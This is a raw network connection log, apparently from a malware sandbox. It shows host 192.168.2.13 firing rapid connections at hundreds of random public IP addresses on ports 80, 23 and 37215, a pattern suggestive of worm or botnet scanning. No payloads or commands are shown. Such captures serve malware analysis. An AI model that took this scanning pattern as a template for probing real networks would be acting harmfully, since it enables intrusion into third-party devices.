Jan 30, 2025 10:43:03.178050995 CET	38885	80	192.168.2.13	190.5.26.222
Jan 30, 2025 10:43:03.178050995 CET	38885	80	192.168.2.13	170.253.206.39
Jan 30, 2025 10:43:03.178066015 CET	38885	80	192.168.2.13	14.91.246.78
Jan 30, 2025 10:43:03.178076029 CET	38885	80	192.168.2.13	71.82.199.229
Jan 30, 2025 10:43:03.178086996 CET	38885	80	192.168.2.13	161.4.149.109
Jan 30, 2025 10:43:03.178098917 CET	38885	80	192.168.2.13	122.98.127.27
Jan 30, 2025 10:43:03.178106070 CET	38885	80	192.168.2.13	122.50.14.137
Jan 30, 2025 10:43:03.178108931 CET	38885	80	192.168.2.13	196.170.40.225
Jan 30, 2025 10:43:03.178112984 CET	38885	80	192.168.2.13	218.113.24.153
Jan 30, 2025 10:43:03.178128004 CET	38885	80	192.168.2.13	92.48.229.31
Jan 30, 2025 10:43:03.178133011 CET	38885	80	192.168.2.13	139.212.47.137
Jan 30, 2025 10:43:03.178139925 CET	38885	80	192.168.2.13	101.213.70.56
Jan 30, 2025 10:43:03.178149939 CET	38885	80	192.168.2.13	43.234.123.63
Jan 30, 2025 10:43:03.178153992 CET	38885	80	192.168.2.13	138.205.111.150
Jan 30, 2025 10:43:03.178169012 CET	38885	80	192.168.2.13	104.213.234.216
Jan 30, 2025 10:43:03.178173065 CET	38885	80	192.168.2.13	64.234.118.108
Jan 30, 2025 10:43:03.178174019 CET	38885	80	192.168.2.13	61.230.233.216
Jan 30, 2025 10:43:03.178191900 CET	38885	80	192.168.2.13	128.230.21.223
Jan 30, 2025 10:43:03.178193092 CET	38885	80	192.168.2.13	95.194.219.47
Jan 30, 2025 10:43:03.178203106 CET	38885	80	192.168.2.13	161.48.112.10
Jan 30, 2025 10:43:03.178203106 CET	38885	80	192.168.2.13	91.188.223.227
Jan 30, 2025 10:43:03.178211927 CET	38885	80	192.168.2.13	19.122.49.29
Jan 30, 2025 10:43:03.178220034 CET	38885	80	192.168.2.13	143.42.56.192
Jan 30, 2025 10:43:03.178220034 CET	38885	80	192.168.2.13	194.18.6.206
Jan 30, 2025 10:43:03.178231001 CET	38885	80	192.168.2.13	69.254.249.83
Jan 30, 2025 10:43:03.178246975 CET	38885	80	192.168.2.13	189.207.221.234
Jan 30, 2025 10:43:03.178256035 CET	38885	80	192.168.2.13	36.219.211.96
Jan 30, 2025 10:43:03.178263903 CET	38885	80	192.168.2.13	172.209.252.66
Jan 30, 2025 10:43:03.178278923 CET	38885	80	192.168.2.13	27.94.134.248
Jan 30, 2025 10:43:03.178292036 CET	38885	80	192.168.2.13	200.151.120.216
Jan 30, 2025 10:43:03.178292036 CET	38885	80	192.168.2.13	211.128.93.129
Jan 30, 2025 10:43:03.178303957 CET	38885	80	192.168.2.13	27.164.254.139
Jan 30, 2025 10:43:03.178317070 CET	38885	80	192.168.2.13	149.134.9.20
Jan 30, 2025 10:43:03.178323030 CET	38885	80	192.168.2.13	81.88.149.181
Jan 30, 2025 10:43:03.178333044 CET	38885	80	192.168.2.13	43.100.73.206
Jan 30, 2025 10:43:03.178333044 CET	38885	80	192.168.2.13	75.157.69.215
Jan 30, 2025 10:43:03.178338051 CET	38885	80	192.168.2.13	119.67.221.61
Jan 30, 2025 10:43:03.178349018 CET	38885	80	192.168.2.13	164.76.32.137
Jan 30, 2025 10:43:03.178358078 CET	38885	80	192.168.2.13	90.173.229.209
Jan 30, 2025 10:43:03.178369045 CET	38885	80	192.168.2.13	208.114.24.143
Jan 30, 2025 10:43:03.178371906 CET	38885	80	192.168.2.13	210.152.42.26
Jan 30, 2025 10:43:03.178383112 CET	38885	80	192.168.2.13	92.193.145.205
Jan 30, 2025 10:43:03.178383112 CET	38885	80	192.168.2.13	38.66.109.153
Jan 30, 2025 10:43:03.178390026 CET	38885	80	192.168.2.13	199.248.59.159
Jan 30, 2025 10:43:03.178404093 CET	38885	80	192.168.2.13	98.187.124.118
Jan 30, 2025 10:43:03.178404093 CET	38885	80	192.168.2.13	159.249.234.232
Jan 30, 2025 10:43:03.178412914 CET	38885	80	192.168.2.13	52.38.206.76
Jan 30, 2025 10:43:03.178425074 CET	38885	80	192.168.2.13	169.148.27.225
Jan 30, 2025 10:43:03.178432941 CET	38885	80	192.168.2.13	123.211.216.170
Jan 30, 2025 10:43:03.178442955 CET	38885	80	192.168.2.13	183.215.24.132
Jan 30, 2025 10:43:03.178458929 CET	38885	80	192.168.2.13	93.221.255.90
Jan 30, 2025 10:43:03.178466082 CET	38885	80	192.168.2.13	77.246.247.123
Jan 30, 2025 10:43:03.178471088 CET	38885	80	192.168.2.13	199.6.175.170
Jan 30, 2025 10:43:03.178482056 CET	38885	80	192.168.2.13	47.46.153.155
Jan 30, 2025 10:43:03.178494930 CET	38885	80	192.168.2.13	31.193.126.81
Jan 30, 2025 10:43:03.178499937 CET	38885	80	192.168.2.13	203.81.204.222
Jan 30, 2025 10:43:03.178515911 CET	38885	80	192.168.2.13	68.16.213.223
Jan 30, 2025 10:43:03.178515911 CET	38885	80	192.168.2.13	161.99.131.230
Jan 30, 2025 10:43:03.178531885 CET	38885	80	192.168.2.13	27.149.220.0
Jan 30, 2025 10:43:03.178538084 CET	38885	80	192.168.2.13	141.63.14.109
Jan 30, 2025 10:43:03.178549051 CET	38885	80	192.168.2.13	138.72.244.28
Jan 30, 2025 10:43:03.178559065 CET	38885	80	192.168.2.13	196.148.66.121
Jan 30, 2025 10:43:03.178567886 CET	38885	80	192.168.2.13	90.68.197.33
Jan 30, 2025 10:43:03.178580046 CET	38885	80	192.168.2.13	108.48.9.72
Jan 30, 2025 10:43:03.178580046 CET	38885	80	192.168.2.13	48.175.148.165
Jan 30, 2025 10:43:03.178590059 CET	38885	80	192.168.2.13	50.75.86.247
Jan 30, 2025 10:43:03.178597927 CET	38885	80	192.168.2.13	98.160.96.204
Jan 30, 2025 10:43:03.178611040 CET	38885	80	192.168.2.13	77.252.103.214
Jan 30, 2025 10:43:03.178611040 CET	38885	80	192.168.2.13	150.114.56.184
Jan 30, 2025 10:43:03.178625107 CET	38885	80	192.168.2.13	64.49.143.52
Jan 30, 2025 10:43:03.178634882 CET	38885	80	192.168.2.13	205.105.166.189
Jan 30, 2025 10:43:03.178637028 CET	38885	80	192.168.2.13	65.13.140.125
Jan 30, 2025 10:43:03.178653955 CET	38885	80	192.168.2.13	170.49.130.146
Jan 30, 2025 10:43:03.178657055 CET	38885	80	192.168.2.13	156.146.85.158
Jan 30, 2025 10:43:03.178661108 CET	38885	80	192.168.2.13	181.163.3.43
Jan 30, 2025 10:43:03.178670883 CET	38885	80	192.168.2.13	144.111.175.233
Jan 30, 2025 10:43:03.178678036 CET	38885	80	192.168.2.13	78.57.117.70
Jan 30, 2025 10:43:03.178683996 CET	38885	80	192.168.2.13	156.188.5.166
Jan 30, 2025 10:43:03.178694010 CET	38885	80	192.168.2.13	160.233.134.208
Jan 30, 2025 10:43:03.178699017 CET	38885	80	192.168.2.13	217.255.139.75
Jan 30, 2025 10:43:03.178704023 CET	38885	80	192.168.2.13	206.40.60.35
Jan 30, 2025 10:43:03.178714037 CET	38885	80	192.168.2.13	8.48.166.253
Jan 30, 2025 10:43:03.178721905 CET	38885	80	192.168.2.13	57.160.218.123
Jan 30, 2025 10:43:03.178731918 CET	38885	80	192.168.2.13	77.202.91.101
Jan 30, 2025 10:43:03.178741932 CET	38885	80	192.168.2.13	190.47.77.102
Jan 30, 2025 10:43:03.178756952 CET	38885	80	192.168.2.13	120.232.35.248
Jan 30, 2025 10:43:03.178766966 CET	38885	80	192.168.2.13	183.212.7.251
Jan 30, 2025 10:43:03.178771019 CET	38885	80	192.168.2.13	65.40.135.213
Jan 30, 2025 10:43:03.178783894 CET	38885	80	192.168.2.13	194.95.199.37
Jan 30, 2025 10:43:03.178786993 CET	38885	80	192.168.2.13	60.96.237.248
Jan 30, 2025 10:43:03.178802013 CET	38885	80	192.168.2.13	220.39.231.3
Jan 30, 2025 10:43:03.178808928 CET	38885	80	192.168.2.13	19.24.82.160
Jan 30, 2025 10:43:03.178818941 CET	38885	80	192.168.2.13	19.73.240.140
Jan 30, 2025 10:43:03.178824902 CET	38885	80	192.168.2.13	116.201.177.228
Jan 30, 2025 10:43:03.178837061 CET	38885	80	192.168.2.13	161.64.100.140
Jan 30, 2025 10:43:03.178842068 CET	38885	80	192.168.2.13	198.134.115.40
Jan 30, 2025 10:43:03.178850889 CET	38885	80	192.168.2.13	84.41.182.245
Jan 30, 2025 10:43:03.178850889 CET	38885	80	192.168.2.13	66.117.226.1
Jan 30, 2025 10:43:03.178864956 CET	38885	80	192.168.2.13	160.174.238.214
Jan 30, 2025 10:43:03.178874969 CET	38885	80	192.168.2.13	48.1.10.237
Jan 30, 2025 10:43:03.178889990 CET	38885	80	192.168.2.13	152.71.184.20
Jan 30, 2025 10:43:03.178900957 CET	38885	80	192.168.2.13	131.191.227.235
Jan 30, 2025 10:43:03.178908110 CET	38885	80	192.168.2.13	222.224.111.29
Jan 30, 2025 10:43:03.178913116 CET	38885	80	192.168.2.13	135.71.34.116
Jan 30, 2025 10:43:03.178930044 CET	38885	80	192.168.2.13	188.24.229.50
Jan 30, 2025 10:43:03.178937912 CET	38885	80	192.168.2.13	44.233.244.137
Jan 30, 2025 10:43:03.178942919 CET	38885	80	192.168.2.13	102.147.88.176
Jan 30, 2025 10:43:03.178955078 CET	38885	80	192.168.2.13	46.46.101.21
Jan 30, 2025 10:43:03.178963900 CET	38885	80	192.168.2.13	174.230.251.217
Jan 30, 2025 10:43:03.178977966 CET	38885	80	192.168.2.13	101.77.90.167
Jan 30, 2025 10:43:03.178985119 CET	38885	80	192.168.2.13	140.43.109.185
Jan 30, 2025 10:43:03.178985119 CET	38885	80	192.168.2.13	196.204.129.170
Jan 30, 2025 10:43:03.178997993 CET	38885	80	192.168.2.13	49.158.206.75
Jan 30, 2025 10:43:03.179006100 CET	38885	80	192.168.2.13	35.52.162.28
Jan 30, 2025 10:43:03.179013014 CET	38885	80	192.168.2.13	118.253.213.199
Jan 30, 2025 10:43:03.179018021 CET	38885	80	192.168.2.13	220.245.203.123
Jan 30, 2025 10:43:03.179024935 CET	38885	80	192.168.2.13	203.113.121.29
Jan 30, 2025 10:43:03.179035902 CET	38885	80	192.168.2.13	217.73.1.226
Jan 30, 2025 10:43:03.179043055 CET	38885	80	192.168.2.13	37.128.184.228
Jan 30, 2025 10:43:03.179047108 CET	38885	80	192.168.2.13	157.197.154.87
Jan 30, 2025 10:43:03.179054976 CET	38885	80	192.168.2.13	52.142.236.50
Jan 30, 2025 10:43:03.179065943 CET	38885	80	192.168.2.13	97.239.202.44
Jan 30, 2025 10:43:03.179079056 CET	38885	80	192.168.2.13	219.255.171.103
Jan 30, 2025 10:43:03.179255009 CET	60960	80	192.168.2.13	191.252.94.92
Jan 30, 2025 10:43:03.179263115 CET	46242	80	192.168.2.13	209.77.2.157
Jan 30, 2025 10:43:03.181077003 CET	80	38885	69.12.32.244	192.168.2.13
Jan 30, 2025 10:43:03.181155920 CET	38885	80	192.168.2.13	69.12.32.244
Jan 30, 2025 10:43:03.181313992 CET	80	38885	83.38.80.15	192.168.2.13
Jan 30, 2025 10:43:03.181327105 CET	80	38885	110.131.140.30	192.168.2.13
Jan 30, 2025 10:43:03.181339025 CET	80	38885	134.191.13.132	192.168.2.13
Jan 30, 2025 10:43:03.181351900 CET	80	38885	42.239.138.4	192.168.2.13
Jan 30, 2025 10:43:03.181366920 CET	38885	80	192.168.2.13	110.131.140.30
Jan 30, 2025 10:43:03.181366920 CET	38885	80	192.168.2.13	83.38.80.15
Jan 30, 2025 10:43:03.181372881 CET	80	38885	193.183.22.222	192.168.2.13
Jan 30, 2025 10:43:03.181385040 CET	38885	80	192.168.2.13	134.191.13.132
Jan 30, 2025 10:43:03.181385994 CET	80	38885	66.198.36.212	192.168.2.13
Jan 30, 2025 10:43:03.181396961 CET	80	38885	171.253.144.183	192.168.2.13
Jan 30, 2025 10:43:03.181397915 CET	38885	80	192.168.2.13	42.239.138.4
Jan 30, 2025 10:43:03.181410074 CET	80	38885	196.132.169.54	192.168.2.13
Jan 30, 2025 10:43:03.181415081 CET	38885	80	192.168.2.13	193.183.22.222
Jan 30, 2025 10:43:03.181421041 CET	38885	80	192.168.2.13	66.198.36.212
Jan 30, 2025 10:43:03.181422949 CET	80	38885	160.202.177.226	192.168.2.13
Jan 30, 2025 10:43:03.181436062 CET	80	38885	190.13.100.188	192.168.2.13
Jan 30, 2025 10:43:03.181437016 CET	38885	80	192.168.2.13	171.253.144.183
Jan 30, 2025 10:43:03.181452990 CET	38885	80	192.168.2.13	196.132.169.54
Jan 30, 2025 10:43:03.181452990 CET	38885	80	192.168.2.13	160.202.177.226
Jan 30, 2025 10:43:03.181477070 CET	38885	80	192.168.2.13	190.13.100.188
Jan 30, 2025 10:43:03.181891918 CET	80	58552	116.34.227.92	192.168.2.13
Jan 30, 2025 10:43:03.181905985 CET	80	38885	137.121.230.207	192.168.2.13
Jan 30, 2025 10:43:03.181917906 CET	80	38885	125.187.93.28	192.168.2.13
Jan 30, 2025 10:43:03.181931973 CET	80	38885	76.251.40.49	192.168.2.13
Jan 30, 2025 10:43:03.181946039 CET	80	38885	14.243.138.96	192.168.2.13
Jan 30, 2025 10:43:03.181947947 CET	58552	80	192.168.2.13	116.34.227.92
Jan 30, 2025 10:43:03.181947947 CET	38885	80	192.168.2.13	137.121.230.207
Jan 30, 2025 10:43:03.181957006 CET	80	38885	124.96.172.2	192.168.2.13
Jan 30, 2025 10:43:03.181967974 CET	80	38885	178.81.227.84	192.168.2.13
Jan 30, 2025 10:43:03.181973934 CET	38885	80	192.168.2.13	125.187.93.28
Jan 30, 2025 10:43:03.181978941 CET	80	38885	136.52.221.83	192.168.2.13
Jan 30, 2025 10:43:03.181989908 CET	38885	80	192.168.2.13	14.243.138.96
Jan 30, 2025 10:43:03.181993008 CET	80	38885	78.211.59.72	192.168.2.13
Jan 30, 2025 10:43:03.181996107 CET	38885	80	192.168.2.13	124.96.172.2
Jan 30, 2025 10:43:03.181998968 CET	38885	80	192.168.2.13	178.81.227.84
Jan 30, 2025 10:43:03.182003021 CET	38885	80	192.168.2.13	76.251.40.49
Jan 30, 2025 10:43:03.182004929 CET	80	38885	76.212.231.160	192.168.2.13
Jan 30, 2025 10:43:03.182023048 CET	38885	80	192.168.2.13	136.52.221.83
Jan 30, 2025 10:43:03.182025909 CET	80	38885	128.40.80.199	192.168.2.13
Jan 30, 2025 10:43:03.182037115 CET	80	38885	111.87.68.101	192.168.2.13
Jan 30, 2025 10:43:03.182045937 CET	38885	80	192.168.2.13	78.211.59.72
Jan 30, 2025 10:43:03.182048082 CET	80	38885	175.43.27.75	192.168.2.13
Jan 30, 2025 10:43:03.182053089 CET	38885	80	192.168.2.13	76.212.231.160
Jan 30, 2025 10:43:03.182060003 CET	80	38885	88.50.245.10	192.168.2.13
Jan 30, 2025 10:43:03.182069063 CET	38885	80	192.168.2.13	128.40.80.199
Jan 30, 2025 10:43:03.182073116 CET	80	38885	219.181.152.221	192.168.2.13
Jan 30, 2025 10:43:03.182079077 CET	80	38885	1.210.104.110	192.168.2.13
Jan 30, 2025 10:43:03.182080984 CET	38885	80	192.168.2.13	111.87.68.101
Jan 30, 2025 10:43:03.182082891 CET	80	38885	17.35.121.233	192.168.2.13
Jan 30, 2025 10:43:03.182089090 CET	80	38885	141.11.150.131	192.168.2.13
Jan 30, 2025 10:43:03.182089090 CET	38885	80	192.168.2.13	175.43.27.75
Jan 30, 2025 10:43:03.182099104 CET	80	38885	122.191.9.80	192.168.2.13
Jan 30, 2025 10:43:03.182110071 CET	80	38885	186.80.135.215	192.168.2.13
Jan 30, 2025 10:43:03.182121038 CET	80	38885	119.209.5.41	192.168.2.13
Jan 30, 2025 10:43:03.182121038 CET	38885	80	192.168.2.13	88.50.245.10
Jan 30, 2025 10:43:03.182123899 CET	38885	80	192.168.2.13	1.210.104.110
Jan 30, 2025 10:43:03.182132006 CET	80	38885	23.61.131.171	192.168.2.13
Jan 30, 2025 10:43:03.182137012 CET	38885	80	192.168.2.13	141.11.150.131
Jan 30, 2025 10:43:03.182138920 CET	38885	80	192.168.2.13	219.181.152.221
Jan 30, 2025 10:43:03.182143927 CET	38885	80	192.168.2.13	186.80.135.215
Jan 30, 2025 10:43:03.182152987 CET	38885	80	192.168.2.13	17.35.121.233
Jan 30, 2025 10:43:03.182154894 CET	38885	80	192.168.2.13	122.191.9.80
Jan 30, 2025 10:43:03.182154894 CET	38885	80	192.168.2.13	119.209.5.41
Jan 30, 2025 10:43:03.182157040 CET	80	38885	222.48.36.63	192.168.2.13
Jan 30, 2025 10:43:03.182169914 CET	80	38885	162.105.25.143	192.168.2.13
Jan 30, 2025 10:43:03.182173967 CET	38885	80	192.168.2.13	23.61.131.171
Jan 30, 2025 10:43:03.182179928 CET	80	38885	147.98.46.107	192.168.2.13
Jan 30, 2025 10:43:03.182192087 CET	80	38885	63.76.195.22	192.168.2.13
Jan 30, 2025 10:43:03.182197094 CET	80	38885	63.133.231.235	192.168.2.13
Jan 30, 2025 10:43:03.182205915 CET	80	38885	185.159.14.46	192.168.2.13
Jan 30, 2025 10:43:03.182207108 CET	38885	80	192.168.2.13	222.48.36.63
Jan 30, 2025 10:43:03.182210922 CET	80	38885	46.214.150.92	192.168.2.13
Jan 30, 2025 10:43:03.182214975 CET	38885	80	192.168.2.13	162.105.25.143
Jan 30, 2025 10:43:03.182221889 CET	80	38885	198.0.210.32	192.168.2.13
Jan 30, 2025 10:43:03.182228088 CET	38885	80	192.168.2.13	147.98.46.107
Jan 30, 2025 10:43:03.182229042 CET	38885	80	192.168.2.13	63.76.195.22
Jan 30, 2025 10:43:03.182233095 CET	80	52572	117.176.214.115	192.168.2.13
Jan 30, 2025 10:43:03.182245016 CET	38885	80	192.168.2.13	63.133.231.235
Jan 30, 2025 10:43:03.182245970 CET	38885	80	192.168.2.13	185.159.14.46
Jan 30, 2025 10:43:03.182251930 CET	38885	80	192.168.2.13	46.214.150.92
Jan 30, 2025 10:43:03.182267904 CET	80	38885	161.194.248.70	192.168.2.13
Jan 30, 2025 10:43:03.182269096 CET	38885	80	192.168.2.13	198.0.210.32
Jan 30, 2025 10:43:03.182269096 CET	52572	80	192.168.2.13	117.176.214.115
Jan 30, 2025 10:43:03.182281017 CET	80	38885	206.185.103.81	192.168.2.13
Jan 30, 2025 10:43:03.182291985 CET	80	38885	20.197.185.64	192.168.2.13
Jan 30, 2025 10:43:03.182302952 CET	80	38885	211.138.64.169	192.168.2.13
Jan 30, 2025 10:43:03.182310104 CET	38885	80	192.168.2.13	161.194.248.70
Jan 30, 2025 10:43:03.182312965 CET	80	38885	208.220.69.198	192.168.2.13
Jan 30, 2025 10:43:03.182323933 CET	80	38885	110.116.2.40	192.168.2.13
Jan 30, 2025 10:43:03.182326078 CET	38885	80	192.168.2.13	206.185.103.81
Jan 30, 2025 10:43:03.182334900 CET	38885	80	192.168.2.13	20.197.185.64
Jan 30, 2025 10:43:03.182334900 CET	80	38885	37.53.175.89	192.168.2.13
Jan 30, 2025 10:43:03.182344913 CET	38885	80	192.168.2.13	211.138.64.169
Jan 30, 2025 10:43:03.182352066 CET	38885	80	192.168.2.13	208.220.69.198
Jan 30, 2025 10:43:03.182353973 CET	38885	80	192.168.2.13	110.116.2.40
Jan 30, 2025 10:43:03.182363987 CET	80	38885	72.95.238.238	192.168.2.13
Jan 30, 2025 10:43:03.182382107 CET	38885	80	192.168.2.13	37.53.175.89
Jan 30, 2025 10:43:03.182408094 CET	38885	80	192.168.2.13	72.95.238.238
Jan 30, 2025 10:43:03.184102058 CET	80	60960	191.252.94.92	192.168.2.13
Jan 30, 2025 10:43:03.184165001 CET	60960	80	192.168.2.13	191.252.94.92
Jan 30, 2025 10:43:03.184197903 CET	80	46242	209.77.2.157	192.168.2.13
Jan 30, 2025 10:43:03.184235096 CET	46242	80	192.168.2.13	209.77.2.157
Jan 30, 2025 10:43:03.201320887 CET	37956	23	192.168.2.13	217.32.184.17
Jan 30, 2025 10:43:03.203155041 CET	48942	80	192.168.2.13	74.228.168.93
Jan 30, 2025 10:43:03.203155994 CET	34906	80	192.168.2.13	24.92.71.116
Jan 30, 2025 10:43:03.203170061 CET	52000	80	192.168.2.13	180.147.135.125
Jan 30, 2025 10:43:03.203174114 CET	41540	80	192.168.2.13	85.176.89.48
Jan 30, 2025 10:43:03.203174114 CET	60282	80	192.168.2.13	94.107.173.125
Jan 30, 2025 10:43:03.203181028 CET	53440	80	192.168.2.13	200.53.66.25
Jan 30, 2025 10:43:03.203183889 CET	59506	80	192.168.2.13	64.255.239.118
Jan 30, 2025 10:43:03.203192949 CET	51918	80	192.168.2.13	64.110.107.109
Jan 30, 2025 10:43:03.203201056 CET	53652	80	192.168.2.13	31.100.227.119
Jan 30, 2025 10:43:03.203201056 CET	36872	80	192.168.2.13	17.41.47.140
Jan 30, 2025 10:43:03.203210115 CET	54910	80	192.168.2.13	77.111.99.111
Jan 30, 2025 10:43:03.203218937 CET	50028	37215	192.168.2.13	197.15.93.92
Jan 30, 2025 10:43:03.203226089 CET	37758	80	192.168.2.13	199.200.216.72
Jan 30, 2025 10:43:03.203229904 CET	60528	80	192.168.2.13	109.76.63.37
Jan 30, 2025 10:43:03.203229904 CET	36300	80	192.168.2.13	48.121.103.134
Jan 30, 2025 10:43:03.203239918 CET	47838	80	192.168.2.13	151.240.35.232
Jan 30, 2025 10:43:03.203241110 CET	59260	80	192.168.2.13	183.103.119.38
Jan 30, 2025 10:43:03.203252077 CET	48860	80	192.168.2.13	136.231.21.226
Jan 30, 2025 10:43:03.206320047 CET	23	37956	217.32.184.17	192.168.2.13
Jan 30, 2025 10:43:03.206393003 CET	37956	23	192.168.2.13	217.32.184.17
Jan 30, 2025 10:43:03.207592964 CET	37956	23	192.168.2.13	217.32.184.17
Jan 30, 2025 10:43:03.208076954 CET	80	34906	24.92.71.116	192.168.2.13
Jan 30, 2025 10:43:03.208133936 CET	34906	80	192.168.2.13	24.92.71.116
Jan 30, 2025 10:43:03.208189964 CET	34906	80	192.168.2.13	24.92.71.116
Jan 30, 2025 10:43:03.208592892 CET	45260	80	192.168.2.13	69.12.32.244
Jan 30, 2025 10:43:03.209296942 CET	34964	80	192.168.2.13	83.38.80.15
Jan 30, 2025 10:43:03.210027933 CET	56322	80	192.168.2.13	110.131.140.30
Jan 30, 2025 10:43:03.210727930 CET	56120	80	192.168.2.13	134.191.13.132
Jan 30, 2025 10:43:03.211463928 CET	55112	80	192.168.2.13	42.239.138.4
Jan 30, 2025 10:43:03.212204933 CET	48370	80	192.168.2.13	193.183.22.222
Jan 30, 2025 10:43:03.212392092 CET	23	37956	217.32.184.17	192.168.2.13
Jan 30, 2025 10:43:03.212455988 CET	37956	23	192.168.2.13	217.32.184.17
Jan 30, 2025 10:43:03.212894917 CET	60120	80	192.168.2.13	66.198.36.212
Jan 30, 2025 10:43:03.213021040 CET	80	34906	24.92.71.116	192.168.2.13
Jan 30, 2025 10:43:03.213068962 CET	34906	80	192.168.2.13	24.92.71.116
Jan 30, 2025 10:43:03.213596106 CET	51272	80	192.168.2.13	171.253.144.183
Jan 30, 2025 10:43:03.214314938 CET	32814	80	192.168.2.13	196.132.169.54
Jan 30, 2025 10:43:03.215006113 CET	52790	80	192.168.2.13	160.202.177.226
Jan 30, 2025 10:43:03.215719938 CET	56632	80	192.168.2.13	190.13.100.188
Jan 30, 2025 10:43:03.216293097 CET	80	55112	42.239.138.4	192.168.2.13
Jan 30, 2025 10:43:03.216341972 CET	55112	80	192.168.2.13	42.239.138.4
Jan 30, 2025 10:43:03.216394901 CET	36200	80	192.168.2.13	137.121.230.207
Jan 30, 2025 10:43:03.217143059 CET	54436	80	192.168.2.13	125.187.93.28
Jan 30, 2025 10:43:03.217824936 CET	23	37956	217.32.184.17	192.168.2.13
Jan 30, 2025 10:43:03.217961073 CET	57928	80	192.168.2.13	14.243.138.96
Jan 30, 2025 10:43:03.218717098 CET	43864	80	192.168.2.13	124.96.172.2
Jan 30, 2025 10:43:03.219470978 CET	53600	80	192.168.2.13	76.251.40.49
Jan 30, 2025 10:43:03.220274925 CET	38252	80	192.168.2.13	178.81.227.84
Jan 30, 2025 10:43:03.221025944 CET	34134	80	192.168.2.13	136.52.221.83
Jan 30, 2025 10:43:03.221801043 CET	48328	80	192.168.2.13	78.211.59.72
Jan 30, 2025 10:43:03.222531080 CET	45250	80	192.168.2.13	76.212.231.160
Jan 30, 2025 10:43:03.223289013 CET	48440	80	192.168.2.13	128.40.80.199
Jan 30, 2025 10:43:03.224015951 CET	50074	80	192.168.2.13	111.87.68.101
Jan 30, 2025 10:43:03.224364996 CET	80	53600	76.251.40.49	192.168.2.13
Jan 30, 2025 10:43:03.224425077 CET	53600	80	192.168.2.13	76.251.40.49
Jan 30, 2025 10:43:03.224764109 CET	45140	80	192.168.2.13	175.43.27.75
Jan 30, 2025 10:43:03.243623972 CET	48936	80	192.168.2.13	1.210.104.110
Jan 30, 2025 10:43:03.244282007 CET	33408	80	192.168.2.13	88.50.245.10
Jan 30, 2025 10:43:03.244986057 CET	42766	80	192.168.2.13	219.181.152.221
Jan 30, 2025 10:43:03.245829105 CET	43852	80	192.168.2.13	141.11.150.131
Jan 30, 2025 10:43:03.246504068 CET	57350	80	192.168.2.13	17.35.121.233
Jan 30, 2025 10:43:03.247148037 CET	56140	80	192.168.2.13	186.80.135.215
Jan 30, 2025 10:43:03.247813940 CET	58582	80	192.168.2.13	122.191.9.80
Jan 30, 2025 10:43:03.248450041 CET	80	48936	1.210.104.110	192.168.2.13
Jan 30, 2025 10:43:03.248506069 CET	48936	80	192.168.2.13	1.210.104.110
Jan 30, 2025 10:43:03.248601913 CET	35018	80	192.168.2.13	119.209.5.41
Jan 30, 2025 10:43:03.249102116 CET	80	33408	88.50.245.10	192.168.2.13
Jan 30, 2025 10:43:03.249145985 CET	33408	80	192.168.2.13	88.50.245.10
Jan 30, 2025 10:43:03.249351025 CET	35138	80	192.168.2.13	23.61.131.171
Jan 30, 2025 10:43:03.250139952 CET	43640	80	192.168.2.13	222.48.36.63
Jan 30, 2025 10:43:03.250870943 CET	47624	80	192.168.2.13	162.105.25.143
Jan 30, 2025 10:43:03.251538992 CET	56156	80	192.168.2.13	147.98.46.107
Jan 30, 2025 10:43:03.252258062 CET	40398	80	192.168.2.13	63.76.195.22
Jan 30, 2025 10:43:03.252962112 CET	52318	80	192.168.2.13	63.133.231.235
Jan 30, 2025 10:43:03.253761053 CET	49120	80	192.168.2.13	185.159.14.46
Jan 30, 2025 10:43:03.254492998 CET	55842	80	192.168.2.13	46.214.150.92
Jan 30, 2025 10:43:03.255217075 CET	36768	80	192.168.2.13	198.0.210.32
Jan 30, 2025 10:43:03.255975962 CET	48996	80	192.168.2.13	161.194.248.70
Jan 30, 2025 10:43:03.256349087 CET	80	56156	147.98.46.107	192.168.2.13
Jan 30, 2025 10:43:03.256393909 CET	56156	80	192.168.2.13	147.98.46.107
Jan 30, 2025 10:43:03.256719112 CET	47140	80	192.168.2.13	206.185.103.81
Jan 30, 2025 10:43:03.257456064 CET	57692	80	192.168.2.13	20.197.185.64
Jan 30, 2025 10:43:03.258202076 CET	53208	80	192.168.2.13	211.138.64.169
Jan 30, 2025 10:43:03.258945942 CET	42210	80	192.168.2.13	208.220.69.198
Jan 30, 2025 10:43:03.259730101 CET	48996	80	192.168.2.13	110.116.2.40
Jan 30, 2025 10:43:03.260508060 CET	43386	80	192.168.2.13	37.53.175.89
Jan 30, 2025 10:43:03.261274099 CET	49532	80	192.168.2.13	72.95.238.238
Jan 30, 2025 10:43:03.261904955 CET	55112	80	192.168.2.13	42.239.138.4
Jan 30, 2025 10:43:03.261929989 CET	55112	80	192.168.2.13	42.239.138.4
Jan 30, 2025 10:43:03.262237072 CET	55200	80	192.168.2.13	42.239.138.4
Jan 30, 2025 10:43:03.262660980 CET	53600	80	192.168.2.13	76.251.40.49
Jan 30, 2025 10:43:03.262660980 CET	53600	80	192.168.2.13	76.251.40.49
Jan 30, 2025 10:43:03.262989044 CET	53668	80	192.168.2.13	76.251.40.49
Jan 30, 2025 10:43:03.263400078 CET	48936	80	192.168.2.13	1.210.104.110
Jan 30, 2025 10:43:03.263400078 CET	48936	80	192.168.2.13	1.210.104.110
Jan 30, 2025 10:43:03.263716936 CET	48990	80	192.168.2.13	1.210.104.110
Jan 30, 2025 10:43:03.264139891 CET	33408	80	192.168.2.13	88.50.245.10
Jan 30, 2025 10:43:03.264141083 CET	33408	80	192.168.2.13	88.50.245.10
Jan 30, 2025 10:43:03.264450073 CET	33462	80	192.168.2.13	88.50.245.10
Jan 30, 2025 10:43:03.264657021 CET	80	48996	110.116.2.40	192.168.2.13
Jan 30, 2025 10:43:03.264703035 CET	48996	80	192.168.2.13	110.116.2.40
Jan 30, 2025 10:43:03.264864922 CET	56156	80	192.168.2.13	147.98.46.107
Jan 30, 2025 10:43:03.264864922 CET	56156	80	192.168.2.13	147.98.46.107
Jan 30, 2025 10:43:03.265182018 CET	56192	80	192.168.2.13	147.98.46.107
Jan 30, 2025 10:43:03.266099930 CET	48996	80	192.168.2.13	110.116.2.40
Jan 30, 2025 10:43:03.266099930 CET	48996	80	192.168.2.13	110.116.2.40
Jan 30, 2025 10:43:03.266428947 CET	49012	80	192.168.2.13	110.116.2.40
Jan 30, 2025 10:43:03.266851902 CET	80	55112	42.239.138.4	192.168.2.13
Jan 30, 2025 10:43:03.267153025 CET	54614	80	192.168.2.13	209.140.145.92
Jan 30, 2025 10:43:03.267482996 CET	80	53600	76.251.40.49	192.168.2.13
